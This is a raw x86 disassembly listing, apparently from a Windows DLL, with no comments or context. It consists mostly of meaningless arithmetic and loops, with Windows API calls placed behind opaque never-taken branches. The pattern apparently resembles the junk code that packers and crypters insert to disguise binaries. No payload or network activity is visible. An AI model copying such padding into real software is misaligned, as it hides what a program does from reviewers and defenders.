mov dword [ebp - 0x7ec], ecx
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], al
je 0x10030cb5
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jle 0x10030bb9
xor eax, eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffe4
jl 0x10030ba6
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffffd
jne 0x10030b70
mov esi, dword [sym.imp.USER32.dll_GetDesktopWindow]
push 2
pop ecx
mov eax, dword [ebp - 0xa58]
cmp eax, dword [ebp - 0x1bc]
jle 0x10030d02
xor eax, eax
cmp dword [ebp - 0x7ec], eax
je 0x10030d04
mov edx, edi
jmp 0x10030d06
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0xa5c]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
sbb ecx, ecx
neg ecx
imul eax, ecx
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x7ec], ecx
mov dword [ebp - 0x50], 0xfffffffb
cmp dword [ebp - 0x50], 0xd
jl 0x10031447
mov dword [ebp - 0x5c], 0xfaf425f5
xor eax, eax
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x64], 0x1480146
push 2
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x10030d73
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1cc], 0x57fd5464
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10030d5b
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x10030d93
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x93c], 0x5457d670
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10030d7b
xor eax, eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0xfffffff6
jne 0x10030e44
mov dword [ebp - 0x64], 0xfec1b16e
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10030dca
push 8
pop ecx
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xaa8], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10030db8
mov eax, dword [ebp - 0xaa0]
dec eax
mov dword [ebp - 0x938], eax
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x10030de4
mov eax, dword [ebp - 0x1cc]
mov eax, dword [ebp - 0x1cc]
xor eax, eax
cmp dword [ebp - 0x5c], eax
jne 0x10030dfb
mov edx, eax
cmp dword [ebp - 0xaa0], eax
je 0x10030dfd
mov edx, edi
mov eax, dword [ebp - 0x1cc]
inc edx
imul edx, eax
xor ecx, ecx
mov eax, dword [ebp - 0xaa4]
cmp edx, eax
mov eax, dword [ebp - 0x938]
setge cl
sub eax, ecx
je 0x10030e29
xor eax, eax
cmp dword [ebp - 0x64], eax
je 0x10030e2b
mov eax, edi
jmp 0x10030e2b
xor eax, eax
mov dword [ebp - 0x64], eax
dec dword [ebp - 0x1cc]
cmp dword [ebp - 0x1cc], 0xfffffff6
push 0
pop eax
je 0x10030da6
mov dword [ebp - 0x30], 0xc0d37ad4
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x4c], 0x3050
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10030e75
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1374], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10030e5d
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10030e99
push eax
push 0x337
push 0xe69
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
mov eax, dword [ebp - 0x2c]
mov ecx, 0xffff
mov eax, dword [ebp - 0x2c]
add eax, ecx
je 0x10030ec3
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], al
je 0x10030f5d
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
jmp 0x10030f5b
mov dword [ebp - 0x44], 0x4bc6
xor eax, eax
push 2
mov dword [ebp - 0x48], 0x7bededb5
mov dword [ebp - 0x18], eax
pop ecx
jmp 0x10030ee8
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xd50], edi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10030edb
mov eax, dword [ebp - 0x44]
xor edx, edx
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x2c]
cmp eax, 0x3718bd85
mov eax, dword [ebp - 0x44]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x44]
setle cl
xor edx, edx
test ecx, ecx
mov ecx, dword [ebp - 0x2c]
setg dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x44]
setl bl
xor edx, edx
add ecx, ebx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setle dl
sub eax, edx
je 0x10030f46
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x10030f4d
jmp 0x10030f48
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x10030f4f
mov eax, edi
push 3
mov dword [ebp - 0xd4c], eax
inc dword [ebp - 0x4c]
pop ebx
xor eax, eax
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x48], 0xc3707822
mov dword [ebp - 0x18], 0xffffffe6
cmp dword [ebp - 0x18], 0xffffffef
je 0x10030fbd
mov dword [ebp - 0x3c], 0xa971867b
mov dword [ebp - 0x44], eax
jmp 0x10030f94
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0xf84], 0x864ba8b3
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
jl 0x10030f83
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0xf80], edi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffef
push 0
pop eax
jne 0x10030f77
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], eax
jl 0x10031438
push 2
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x10030fef
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xd64], 0xd3df
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10030fd7
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1003100f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xe8], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10030ff7
xor eax, eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], ecx
jge 0x1003103e
mov eax, dword [ebp - 0xe8]
mov dword [ebp + eax*4 - 0xd64], 0xd8e5
inc dword [ebp - 0xe8]
cmp dword [ebp - 0xe8], ecx
jl 0x1003101d
xor eax, eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x20], 0xcecb4571
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x3c], 0xd3cd3624
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10031072
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc30], 4
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1003105a
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x10031092
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xd78], 0x20a6ff60
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1003107a
xor eax, eax
mov dword [ebp - 0x20], 0x841b3c69
mov dword [ebp - 0x20], eax
jmp 0x1003116a
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x4c], 0x49bc00ea
mov dword [ebp - 0x3c], 0xfffffffc
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x100310d5
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x8ac], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x100310bd
xor eax, eax
cmp dword [ebp - 0x48], eax
jne 0x10031174
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov dword [ebp - 0xc28], eax
mov dword [ebp - 0x8a8], edi
mov dword [ebp - 0xc28], edi
mov eax, dword [ebp - 0x48]
inc eax
cmp eax, 0xe889
mov dword [ebp - 0xd78], eax
mov eax, dword [ebp - 0x20]
setl cl
xor edx, edx
cmp ecx, edi
setl dl
xor ecx, ecx
cmp eax, edx
setge cl
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
cmp dword [ebp - 0x4c], eax
je 0x10031130
cmp dword [ebp - 0x8ac], eax
jne 0x10031137
cmp dword [ebp - 0x3c], eax
je 0x10031137
mov eax, edi
cmp eax, dword [ebp - 0x20]
je 0x10031143
xor eax, eax
cmp dword [ebp - 0x48], eax
je 0x10031145
mov eax, edi
mov ecx, dword [ebp - 0x40]
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x20]
cmp eax, ecx
mov eax, dword [ebp - 0x40]
push 0
setg dl
xor ecx, ecx
cmp edx, eax
pop eax
setle cl
mov dword [ebp - 0x3c], ecx
inc dword [ebp - 0x20]
push 2
pop ecx
cmp dword [ebp - 0x20], 0x2a
jle 0x100310a1
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x5c], 0xfaf425f5
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x64], 0x1480146
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x100311b3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1dc], 0x57fd5464
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1003119b
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x100311d3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x9fc], 0x5457d670
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x100311bb
xor eax, eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0xfffffff6
jne 0x10031284
mov dword [ebp - 0x64], 0xfec1b16e
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1003120a
push 8
pop ecx
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xa78], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x100311f8
mov eax, dword [ebp - 0xa70]
dec eax
mov dword [ebp - 0x9f8], eax
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x10031224
mov eax, dword [ebp - 0x1dc]
mov eax, dword [ebp - 0x1dc]
xor eax, eax
cmp dword [ebp - 0x5c], eax
jne 0x1003123b
mov edx, eax
cmp dword [ebp - 0xa70], eax
je 0x1003123d
mov edx, edi
mov eax, dword [ebp - 0x1dc]
inc edx
imul edx, eax
xor ecx, ecx
mov eax, dword [ebp - 0xa74]
cmp edx, eax
mov eax, dword [ebp - 0x9f8]
setge cl
sub eax, ecx
je 0x10031269
xor eax, eax
cmp dword [ebp - 0x64], eax
je 0x1003126b
mov eax, edi
jmp 0x1003126b
xor eax, eax
mov dword [ebp - 0x64], eax
dec dword [ebp - 0x1dc]
cmp dword [ebp - 0x1dc], 0xfffffff6
push 0
pop eax
je 0x100311e6
mov dword [ebp - 0x44], eax
jmp 0x10031426
mov dword [ebp - 0x20], 0xfffffffc
mov dword [ebp - 0x4c], 0x90f9986e
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x5c], 0xc65b0b56
mov dword [ebp - 0x64], 0xffffffff
mov dword [ebp - 0x20], 0xac204e2d
cmp dword [ebp - 0x20], eax
je 0x100313f0
mov dword [ebp - 0x4c], 0x43e95aad
mov dword [ebp - 0x4c], 0x20274952
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x100312e9
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x5b8], 0x95e17ca0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x100312d1
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x100312fd
push eax
push eax
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jg 0x10031406
mov dword [ebp - 0x4c], 0xa6d0811
mov dword [ebp - 0x4c], 0x6559653e
mov dword [ebp - 0x18], eax
jmp 0x1003132e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x105c], 0x188753e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1003131d
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
neg eax
sbb eax, eax
xor ecx, ecx
neg eax
dec eax
test eax, eax
setg cl
cmp ecx, dword [ebp - 0x5c]
jne 0x1003135b
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x5b0], eax
je 0x1003135d
mov edx, edi
mov dword [ebp - 0x4c], 0xffffffff
xor ecx, ecx
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x105c], eax
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x5b8]
cmp edx, eax
mov eax, dword [ebp - 0x4c]
sete cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x20]
setl dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x5b8]
cmp eax, edx
setl cl
xor eax, eax
mov dword [ebp - 0x4c], ecx
cmp dword [ebp - 0x4c], eax
je 0x100313b0
cmp dword [ebp - 0x5b0], eax
je 0x100313b0
mov eax, edi
push 4
pop ecx
cmp eax, ecx
mov dword [ebp - 0x4c], 0xfffffff7
mov eax, dword [ebp - 0x4c]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp eax, ecx
mov eax, dword [ebp - 0x20]
push 0
setl dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x5b8]
cmp eax, edx
pop eax
setne cl
mov dword [ebp - 0x64], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jle 0x1003130a
jmp 0x10031404
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10031406
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10031419
push eax
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
xor eax, eax
mov dword [ebp - 0x4c], 0xf09a2b44
dec dword [ebp - 0x4c]
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], eax
jle 0x1003128c
dec dword [ebp - 0x30]
jns 0x10030fcc
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], 0xd
jge 0x10030d36
jmp 0x10031449
xor eax, eax
mov dword [ebp - 0x18], 0x13638ecf
mov ecx, 0xdcda7209
mov dword [ebp - 0xaf4], ecx
mov dword [ebp - 0xaf0], ecx
mov dword [ebp - 0xaec], ecx
mov dword [ebp - 0xae8], ecx
push 2
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x10031490
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x268], 0x342eb90d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10031478
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x100314b0
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xf9c], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10031498
xor eax, eax
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x18], edi
cmp dword [ebp - 0x18], eax
jl 0x10031588
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x3c], 0x2ff18c9a
mov dword [ebp - 0x20], eax
jmp 0x10031576
mov dword [ebp - 0x28], 0x1a9565e0
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], edi
jg 0x100314fa
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x268], 0
jne 0x100314f8
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jle 0x100314e3
xor eax, eax
mov dword [ebp - 0x28], edi
cmp dword [ebp - 0x28], eax
jl 0x10031573
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x268], 0
je 0x1003152d
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x268]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x268]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x268]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x268]
mov dword [ebp - 0xf94], 0xfffffff9
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x268]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xaf0], eax
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], al
je 0x1003156c
push 0xe65
push eax
call ebx
dec dword [ebp - 0x28]
jns 0x10031502
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jle 0x100314d4
dec dword [ebp - 0x18]
jns 0x100314c2
mov edi, dword [sym.imp.USER32.dll_EnableScrollBar]
mov dword [ebp - 0x18], 0xfffffff6
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], 0xffffffef
cmp dword [ebp - 0x18], 0x1c
je 0x10031634
xor eax, eax
push 4
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x100315d1
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x13f0], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x100315b9
xor eax, eax
xor ecx, ecx
mov dword [ebp - 0x1c], eax
inc ecx
cmp dword [ebp - 0x1c], ecx
jge 0x100315f4
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x18c], 0xcb03629a
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x100315dc
xor eax, eax
push 3
pop ecx
mov dword [ebp - 0x18c], ecx
cmp dword [ebp - 0x18c], eax
jl 0x10031627
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x1003161f
push 0x2c8
push 0x2366
call esi
push eax
call edi
xor eax, eax
dec dword [ebp - 0x18c]
jns 0x10031605
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x1c
jne 0x100315ae
xor eax, eax
mov dword [ebp - 0x44], 0x571177e8
xor edx, edx
mov dword [ebp - 0x1c], eax
inc edx
cmp dword [ebp - 0x1c], edx
jge 0x1003165c
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xd04], edx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x10031648
xor eax, eax
push 2
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x1003167f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1250], 0xf680299
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10031667
xor eax, eax
mov dword [ebp - 0x44], 0xfffffffb
jmp 0x100316c6
mov dword [ebp - 0x30], 0xc0d37ad4
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], eax
jl 0x100316c3
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x18], eax
jmp 0x100316b9
mov dword [ebp - 0x4c], 0xf09a2b44
dec dword [ebp - 0x4c]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x100316ac
dec dword [ebp - 0x30]
jns 0x1003169d
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0xd
jge 0x10031688
mov dword [ebp - 0x44], 0x571177e8
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edx
jge 0x100316ef
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xdc8], edx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x100316db
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x1003170f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x11c0], 0xf680299
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x100316f7
xor eax, eax
mov dword [ebp - 0x44], 0xfffffffb
jmp 0x10031756
mov dword [ebp - 0x30], 0xc0d37ad4
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], eax
jl 0x10031753
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x18], eax
jmp 0x10031749
mov dword [ebp - 0x4c], 0xf09a2b44
dec dword [ebp - 0x4c]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x1003173c
dec dword [ebp - 0x30]
jns 0x1003172d
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0xd
jge 0x10031718
mov dword [ebp - 0x20], 0x8a61928c
push 5
pop ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x3c], 0xd06721f7
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], 0x14
je 0x10031814
jmp 0x10031781
xor eax, eax
push 3
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x18], eax
pop ecx
jmp 0x10031799
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x56c], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1003178c
mov eax, dword [ebp - 0x564]
xor ecx, ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x56c]
mov eax, dword [ebp - 0x568]
mov eax, dword [ebp - 0x564]
mov eax, dword [ebp - 0x20]
cmp eax, edx
setge cl
add ecx, 0xf9b6
imul ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0x564]
jne 0x100317de
xor eax, eax
cmp dword [ebp - 0x20], eax
jne 0x100317de
mov edx, eax
mov eax, dword [ebp - 0x564]
xor ecx, ecx
cmp edx, eax
push 1
sete cl
mov dword [ebp - 0x4c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x20]
cmp eax, 0xf5aa
pop edx
setg cl
mov dword [ebp - 0x3c], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x14
jne 0x1003177f
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], al
je 0x10031835
push 0xbad
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetROP2]
xor eax, eax
mov dword [ebp - 0x60], 0x5ab3e90a
xor ecx, ecx
mov dword [ebp - 0x64], 0xd9edbda7
mov dword [ebp - 0x34], 0xc4307e4
mov dword [ebp - 0x4c], 0xfffffff6
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], 0xe0710dd0
mov dword [ebp - 0x68], 0xb94d0f4f
mov dword [ebp - 0x48], 0x55fff839
mov dword [ebp - 0x5c], 0x5132d7af
mov dword [ebp - 0x30], 0xe974ca77
push 6
pop eax
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
sub eax, 0xebf3
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
test eax, eax
setle cl
cmp ecx, dword [ebp - 0x68]
jne 0x100318b4
xor eax, eax
cmp dword [ebp - 0x5c], eax
jne 0x100318b4
xor esi, esi
mov edx, eax
inc esi
jmp 0x100318b9
xor esi, esi
inc esi
mov edx, esi
inc dword [ebp - 0x30]
xor ecx, ecx
mov eax, dword [ebp - 0x30]
cmp eax, edx
setne cl
add ecx, dword [ebp - 0x18]
je 0x100318ce
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x60], 0x98cbdb62
mov eax, dword [ebp - 0x18]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x64]
setle dl
xor ecx, ecx
cmp eax, edx
setne cl
cmp ecx, 0x921ded68
sbb edx, edx
xor ecx, ecx
neg edx
add edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x60]
cmp eax, edx
setl cl
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x48]
sub eax, dword [ebp - 0x18]
jne 0x10031913
cmp dword [ebp - 0x48], eax
je 0x10031915
mov eax, esi
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x68], eax
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x3c], 0xe9934b0b
mov dword [ebp - 0x4c], 5
mov dword [ebp - 0x3c], 0xffffffff
mov eax, dword [ebp - 0x20]
sub eax, 0xcb8f
neg eax
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
mov eax, dword [ebp - 0x20]
setl dl
imul eax, dword [ebp - 0x20]
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
cmp ecx, dword [ebp - 0x20]
jl 0x10031974
mov ecx, esi
cmp dword [ebp - 0x20], eax
jne 0x10031976
mov ecx, eax
mov eax, dword [ebp - 0x4c]
add eax, ecx
imul eax, dword [ebp - 0x20]
test eax, eax
jne 0x10031986
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x3c], 0x7da828c0
xor eax, eax
mov dword [ebp - 0x14], 0x13638ecf
push 3
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x100319bc
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x13e0], 2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x100319a4
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x100319cf
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x100319e4
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
xor eax, eax
push 4
pop ecx
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x34], 0xa2fafd11
mov dword [ebp - 0x34], 0x58a835a
mov dword [ebp - 0x34], 0xeff3de03
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x34], 0xc9214a9b
push 3
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x10031a28
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x138c], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10031a14
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x10031a48
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xe24], 0x31e1
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10031a30
xor eax, eax
push 2
pop esi
mov dword [ebp - 0x54], esi
cmp dword [ebp - 0x54], eax
jl 0x10031a92
mov dword [ebp - 0x30], 0xfffffffe
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10031a6d
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
xor eax, eax
mov dword [ebp - 0x30], esi
cmp dword [ebp - 0x30], eax
jl 0x10031a8d
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10031a88
push 0xe65
push eax
call ebx
xor eax, eax
dec dword [ebp - 0x30]
jns 0x10031a75
dec dword [ebp - 0x54]
jns 0x10031a53
inc dword [ebp - 0xe1c]
mov ecx, 0xdcda7209
